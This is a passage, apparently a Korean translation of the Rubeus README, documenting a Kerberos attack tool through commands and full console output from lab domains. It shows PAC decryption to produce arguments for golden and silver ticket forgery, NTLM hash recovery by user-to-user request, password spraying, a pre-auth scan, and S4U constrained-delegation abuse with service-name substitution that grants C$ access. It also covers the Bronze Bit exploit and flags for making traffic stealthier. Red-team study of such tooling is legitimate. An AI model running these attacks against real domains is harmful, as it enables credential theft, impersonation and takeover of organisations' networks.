DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : DA57618BB48EA56371E374B1 (UNVALIDATED)
PAC를 복호화할 수 있다면 (user-to-user 요청을 사용하거나 /servicekey를 전달하여) 동일한 PAC 값을 포함하는 티켓을 위조하는 데 필요한 인수를 출력할 수 있습니다:
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
AgECoQ0wCxsFcm9hc3QbAm1l
ServiceName : roast/me
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 00:02:27
EndTime : 20/07/2021 09:57:46
RenewTill : 26/07/2021 23:57:46
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 23:00:38
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 8
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData : *** NO KEY ***
ClientName :
Client Id : 19/07/2021 23:57:46
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 96FA020562EE73B38D31AEEF (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : E7FDCBAF5F580DFB567DF102 (UNVALIDATED)
[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:
/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD
PKINIT를 사용하여 TGT를 요청한 다음 user-to-user 서비스 티켓을 요청하여 PAC 내에 저장된 NTLM 해시에 접근합니다 (수동으로 asktgt에 /getcredentials 플래그를 수행):
C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'harmj0y'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=
ServiceName : harmj0y
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 19/07/2021 23:01:05
EndTime : 20/07/2021 09:00:38
RenewTill : 26/07/2021 23:00:38
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Qm9zdwFIINSHAAmqaviuEw==
ASREP (key) : CC9D16AB01D1BD0EF9EBD53C8AD536D9
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 22:59:21
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 7
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
ClientName :
Client Id : 19/07/2021 23:00:38
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : ADEC4A1A7DF70D0A61047E510E778454 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 6CF688E02147BEEC168E0125 (UNVALIDATED)
참고: TGT 검색 시 받은 /asrepkey를 전달해야 NTLM 해시가 저장된 CredentialData 섹션을 복호화할 수 있습니다. 그러나 user-to-user 요청이므로 TGT의 세션 키가 사용되므로 /servicekey 인수는 필요하지 않습니다.
현재 로그온된 세션을 사용하여 서비스 티켓을 요청하는 중:``` Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap
(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072 [*] base64(ticket.kirbi):
doIGvDCCBrigAwIBBaEDAg(..snip..)
ServiceName : LDAP/dc.ghostpack.local ServiceRealm : GHOSTPACK.LOCAL UserName : CCob (NT_PRINCIPAL) UserRealm : GHOSTPACK.LOCAL StartTime : 25/02/2025 09:08:11 EndTime : 25/02/2025 18:48:39 RenewTill : 03/03/2025 12:47:40 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : k2xUOHFN1Xg(...snip...)
로컬 컴퓨터 계정 TGT를 갱신을 통해 요청합니다. 로컬 관리자 액세스가 필요합니다. Credential Guard가 활성화된 경우, 호스트 외부에서는 ticket 사용이 불가능합니다.```
Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184
[*] base64(ticket.kirbi):
doIGuTCCBrWg(...snip...)IFhb3MuZGV2
ServiceName : krbtgt/ghostpack.local
ServiceRealm : GHOSTPACK.LOCAL
UserName : DC$ (NT_PRINCIPAL)
UserRealm : GHOSTPACK.LOCAL
StartTime : 25/02/2025 09:18:37
EndTime : 25/02/2025 11:35:10
RenewTill : 02/03/2025 10:35:06
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : k2xUOHFN1Xg(...snip...)
renew 작업은 제공된 /ticket:X를 사용하여 원시 TGS-REQ/TGS-REP TGT 갱신 교환을 구성/파싱합니다. 이 값은 .kirbi 파일의 base64 인코딩 또는 디스크 상의 .kirbi 파일 경로일 수 있습니다. /dc가 지정되지 않으면 컴퓨터의 현재 도메인 컨트롤러가 추출되어 갱신 트래픽의 대상으로 사용됩니다. /ptt 플래그는 "pass-the-ticket"을 수행하여 결과 Kerberos 자격 증명을 현재 로그온 세션에 적용합니다.
TGT는 EndTime 이전, RenewTill 기간 내에 반드시 갱신되어야 합니다.
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
/autorenew 플래그는 기존 /ticket:X .kirbi 파일/블롭을 가져와 endTime-30분까지 대기한 후 자동으로 티켓을 갱신하고 갱신된 티켓 블롭을 표시합니다. 허용된 renew-till 갱신 기간이 지날 때까지 이 갱신 과정을 계속합니다.
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Auto-Renew TGT
[*] User : [email protected]
[*] endtime : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
brute 작업은 Kerberos 기반 비밀번호 무차별 대입 공격 또는 비밀번호 스프레이 공격을 수행합니다. spray도 작업 이름으로 사용할 수 있습니다.
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):
doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...
preauthscan 작업은 /users 인수에 전달된 모든 사용자 이름에 대해 AS-REQ를 전송하여 Kerberos 사전 인증이 필요하지 않은 계정을 발견합니다.
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication
[*] cclark: Pre-Auth Required
[*] jjones: Pre-Auth Not Required
[*] rwilliams: Pre-Auth Required
[*] svc_sqlserver: Pre-Auth Required
[*] pgreen: Pre-Auth Required
[*] jsmith: Pre-Auth Required
[*] tnahum: Pre-Auth Required
[*] sfederovsky: Pre-Auth Required
제한된 위임 명령어 개요:
| 명령어 | 설명 |
|---|---|
| s4u | S4U2self 및 S4U2proxy 작업 수행 |
s4u 작업은 Kekeo의 tgs::s4u 기능과 거의 동일합니다. 사용자(또는 컴퓨터) 계정이 제한된 위임으로 구성된 경우(즉, msds-allowedtodelegateto 필드에 SPN 값이 있는 경우) 이 작업을 사용하여 대상 SPN/서버에 대한 액세스를 남용할 수 있습니다. 제한된 위임은 복잡합니다. 자세한 내용은 이 게시물 또는 Elad Shamir의 "Wagging the Dog" 게시물을 참조하십시오.
TL;DR 설명: 제한된 위임이 활성화된 계정은 S4U2self라는 프로세스를 통해 모든 사용자로 자신에게 티켓을 요청할 수 있습니다. 계정이 이를 허용받으려면 useraccountcontrol 속성에 TrustedToAuthForDelegation이 활성화되어 있어야 하며, 기본적으로 상승된 권한을 가진 사용자만 이 속성을 수정할 수 있습니다. 이 티켓에는 기본적으로 FORWARDABLE 플래그가 설정됩니다. 그런 다음 서비스는 이 특별히 요청된 티켓을 사용하여 계정의 msds-allowedtodelegateto 필드에 지정된 모든 서비스 사용자 이름(SPN)에 대한 서비스 티켓을 요청할 수 있습니다. 요약하자면, TrustedToAuthForDelegation이 설정되고 msds-allowedtodelegateto에 값이 있는 계정을 제어할 수 있다면 계정의 msds-allowedtodelegateto 필드에 설정된 SPN에 대해 도메인의 모든 사용자인 것처럼 가장할 수 있습니다.
이 "제어"는 계정의 해시(/rc4 또는 /aes256)이거나 msds-allowedtodelegateto 값이 설정된 계정의 기존 TGT(/ticket:X)일 수 있습니다. /user와 rc4/aes256 해시가 제공되면 s4u 모듈은 먼저 asktgt 작업을 수행하고 반환된 티켓을 이후 단계에 사용합니다. TGT /ticket:X가 제공되면 해당 TGT가 대신 사용됩니다.
계정 해시가 제공되면 /nopac 스위치를 사용하여 PAC 없이 초기 TGT를 요청할 수 있습니다.
KDC 프록시 (MS-KKDCP)를 사용하여 요청하는 것은 /proxyurl:URL 인수를 사용하여 가능합니다. KDC 프록시의 전체 URL이 필요합니다(예: https://kdcproxy.exmaple.com/kdcproxy). s4u 명령에 사용하면 모든 요청이 프록시를 통해 전송됩니다.
s4u 모듈에는 /impersonateuser:X 매개변수가 반드시 제공되어야 합니다. 다른 것이 제공되지 않으면 S4U2self 프로세스만 실행되어 전달 가능한(forwardable) 티켓을 반환합니다:
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...
그 전달 가능한 티켓은 /tgs:Y 매개변수(base64 블롭 또는 .kirbi 파일)로 사용하여 S4U2proxy 프로세스를 실행할 수 있습니다. 계정에 유효한 msds-allowedtodelegateto 값을 제공해야 합니다(/msdsspn:X). 예를 들어 [email protected] 계정이 다음과 같다고 가정해 보겠습니다:
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local
그러면 S4U2proxy 남용 함수(이전 S4U2self 프로세스의 티켓 사용)는 다음과 같습니다:
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: S4U
[*] Loaded a TGS for TESTLAB.LOCAL\[email protected]
[*] Impersonating user '[email protected]' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
여기서 /ticket:X는 첫 번째 단계에서 반환된 TGT이고, /tgs는 S4U2self 티켓입니다. 결과 티켓을 주입하면(수동으로 Rubeus.exe ptt /ticket:X 또는 s4u 명령에 /ptt 플래그를 제공하여) primary.testlab.local의 ldap 서비스에 dfm.a인 것처럼 액세스할 수 있습니다.
/altservice 매개변수는 Alberto Solino의 훌륭한 발견을 활용합니다. KRB-CRED 파일에서 서비스 이름(sname)이 보호되지 않고 서버 이름만 보호된다는 점에 기반합니다. 이를 통해 결과 KRB-CRED (.kirbi) 파일에 원하는 서비스 이름을 대체할 수 있습니다. 하나 이상의 대체 서비스 이름을 쉼표로 구분하여 제공할 수 있습니다(/altservice:cifs,HOST,...).
이전 예제를 확장하여 primary.testlab.local의 파일 시스템에 대한 액세스를 위조해 보겠습니다. 이는 제한된 위임 구성과 대체 서비스 대체를 남용합니다. 또한 하나의 단계로 패키징하여 TGT 요청, S4U2self 프로세스, S4U2proxy 실행 및 최종 티켓 주입을 수행해 보겠습니다:
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
Directory of \\primary.testlab.local\C$
07/05/2018 12:57 PM <DIR> dumps
03/05/2017 04:36 PM <DIR> inetpub
08/22/2013 07:52 AM <DIR> PerfLogs
04/15/2017 05:25 PM <DIR> profiles
08/28/2018 11:51 AM <DIR> Program Files
08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 File(s) 9 bytes
9 Dir(s) 40,511,676,416 bytes free
기본적으로 Rubeus가 생성하는 S4U2Self 및 S4U2Proxy TGS-REQ와 실제 요청 간에는 몇 가지 차이점이 있습니다. TGS-REQ를 실제 요청에 더 가깝게 구성하려면 /opsec 플래그를 사용할 수 있습니다. 이 플래그는 Rubeus 트래픽을 더 은밀하게 만들기 위한 것이므로, 기본적으로 aes256 이외의 암호화 유형과 함께 사용할 수 없으며 다른 암호화 유형이 사용되면 경고만 표시하고 종료됩니다. /opsec 변경 사항과 함께 다른 암호화 유형을 허용하려면 /force 플래그가 있습니다. /opsec 플래그는 아직 도메인 간 S4U에 대해 구현되지 않았습니다.
Bronze Bit 익스플로잇(CVE-2020-17049)은 /bronzebit 플래그를 사용하여 구현됩니다. 이 플래그를 추가하면 S4U2Self 티켓을 검색할 때 forwardable 플래그가 자동으로 반전됩니다. 이 플래그를 반전시키려면 서비스 티켓을 복호화하고 재암호화해야 하므로 장기 키(서비스 계정의 비밀번호 해시)가 필요합니다. 따라서 TGT가 제공되는 경우 이 작업이 작동하려면 서비스 계정의 자격 증명도 필요합니다.
특정 상황에서는 보호된 사용자를 가장하여 요청 시스템에서 권한을 상승시키기 위해 S4U2Self 티켓을 사용할 수 있습니다. 이에 대한 논의는 여기에서 찾을 수 있습니다. 이를 위해 /self 플래그와 /altservice:X 인수를 사용하여 사용 가능한 서비스 티켓을 생성할 수 있습니다.
S4U2Self 리퍼럴을 위조하려면 트러스트 키만 필요합니다. /self 플래그와 함께 /targetdomain:X 인수를 사용하고 /targetdc 인수 없이 사용하면 Rubeus는 /ticket:X로 제공된 티켓을 S4U2Self 리퍼럴로 처리하고 최종 S4U2Self 서비스 티켓만 요청합니다. /altservice:X를 사용하여 결과 티켓의 sname을 다시 쓸 수도 있습니다:
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: S4U
[*] Action: S4U
[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):
doIFETCCBQ...RheS5sYWI=
티켓 위조 명령어 개요:
golden과 silver 명령어 사이에는 많은 유사점이 있지만, golden 명령어를 단순화하기 위해 별도로 유지됩니다. 서비스 티켓은 TGT보다 훨씬 복잡할 수 있으며 다른 키와 추가 섹션이 있을 수 있습니다. 반면 silver 명령어로 TGT를 위조할 수 있지만, golden은 TGT와 관련 없는 기능이 없기 때문에 더 적은 잠재적 인수를 제공합니다.
이 두 명령어의 대부분 인수는 PAC 필드를 설정하기 위한 것이며, 합리적으로 자명해야 합니다. 다음과 같습니다:| 인수 | 설명 |
|----------|-------------|
| /user | /ldap가 전달된 경우 쿼리할 사용자로 사용되지만, PAC의 EffectiveName 필드와 EncTicketPart의 cname 필드를 설정하는 데도 사용됨 |
| /dc | /ldap가 전달된 경우 LDAP 쿼리에 사용되는 도메인 컨트롤러를 지정하지만, PAC의 LogonServer 필드를 설정하는 데도 사용됨 |
| /netbios | PAC의 LogonDomainName 필드를 설정함 |
| /sid | PAC의 LogonDomainId 필드를 설정함 |
| /id | PAC의 UserId 필드를 설정함 (기본값: 500) |
| /displayname | PAC의 FullName 필드를 설정함 |
| /logoncount | PAC의 LogonCount 필드를 설정함 (기본값: 0) |
| /badpwdcount | PAC의 BadPasswordCount 필드를 설정함 (기본값: 0) |
| /uac | PAC의 UAC 필드를 설정함 (기본값: NORMAL_ACCOUNT) |
| /pgid | PAC의 필드를 설정하고 필드에도 추가됨 (기본값: 513) |
| /groups | 쉼표로 구분. PAC의 필드를 설정하며, 도 추가됨. 총 개수는 필드를 계산하는 데 사용됨 (기본값: 520,512,513,519,518) |
| /homedir | PAC의 필드를 설정함 |
| /homedrive | PAC의 필드를 설정함 |
| /profilepath | PAC의 필드를 설정함 |
| /scriptpath | PAC의 필드를 설정함 |
| /logofftime | PAC의 필드를 설정함. 로컬 시간 형식 - 자동으로 UTC로 변환됨 |
| /lastlogon | PAC의 필드를 설정함. 로컬 시간 형식 - 자동으로 UTC로 변환됨 (기본값: starttime - 1초) |
| /passlastset | PAC의 필드를 설정함. 로컬 시간 형식 - 자동으로 UTC로 변환됨 |
| /minpassage | PAC의 필드를 설정함. 기준 일수로, 예: '5'는 5일 |
| /maxpassage | PAC의 필드를 설정함. 기준 일수로, 예: '5'는 5일 |
| /sids | 쉼표로 구분. PAC의 필드를 설정함. 또한 필드를 계산하는 데 사용됨 |
| /resourcegroupsid | PAC의 필드를 설정함. 사용하는 경우 도 필요함 |
| /resourcegroups | 쉼표로 구분. PAC의 필드를 설정함. 또한 필드를 계산하는 데 사용됨. 사용하는 경우 도 필요함 |
두 명령에 공통적으로 사용되지만 PAC 외부의 필드를 설정하는 다른 인수는 다음과 같습니다:
위 표에서 설명된 상대 시간의 경우, 형식은 승수로 사용되는 정수와 그 뒤에 시간 범위를 나타내는 단일 문자로 구성됩니다. 지원되는 각 문자의 의미는 아래 표와 같습니다 (대소문자 구분):
| 문자 | 설명 |
|---|---|
| m | 분 |
| h | 시간 |
| d | 일 |
| M | 월 |
| y | 년 |
두 명령에서 공통적으로 사용하는 또 다른 기능은 LDAP 정보 검색입니다. golden과 silver 모두 /ldap 플래그를 사용하여 LDAP를 통해 정보를 검색하는 것을 지원합니다. /ldap 플래그는 /creduser 및 credpassword 인수와 함께 사용되어 이 정보를 검색할 때 대체 사용자로 인증할 수 있습니다. 다른 정보가 전달되지 않으면, 세 개의 LDAP 쿼리를 보내고 도메인 컨트롤러의 SYSVOL 공유를 마운트하여 도메인 정책 파일을 읽습니다. LDAP 쿼리는 자동으로 TLS를 통해 전송되며, 실패하면 일반 텍스트 LDAP로 대체합니다.
ldap가 전달되면 항상 전송되는 첫 번째 LDAP 쿼리는 /user에 지정된 사용자를 쿼리하고 PAC에 필요한 대부분의 사용자 정보를 검색합니다.
두 번째 LDAP 쿼리는 명령줄에 /groups, /pgid, /minpassage 또는 /maxpassage가 제공되지 않은 경우에 전송됩니다. 명령줄에 이러한 인수가 제공되면 해당 정보에 대해 LDAP 쿼리를 하지 않습니다. 이 쿼리는 사용자가 속한 그룹(기본 그룹 포함)과 도메인 정책 개체(정책 파일 경로를 얻는 데 사용됨)를 검색합니다. 명령줄에 /minpassage 또는 /maxpassage가 제공되지 않고 LDAP에서 도메인 정책 개체를 검색한 경우, DC의 SYSVOL 공유가 마운트되고 정책 파일이 구문 분석되어 MinimumPasswordAge(PAC의 PasswordCanChange 필드에 적절한 값 설정용)와 MaximumPasswordAge(PAC의 PasswordMustChange 필드에 적절한 값 설정용) 값을 가져옵니다.
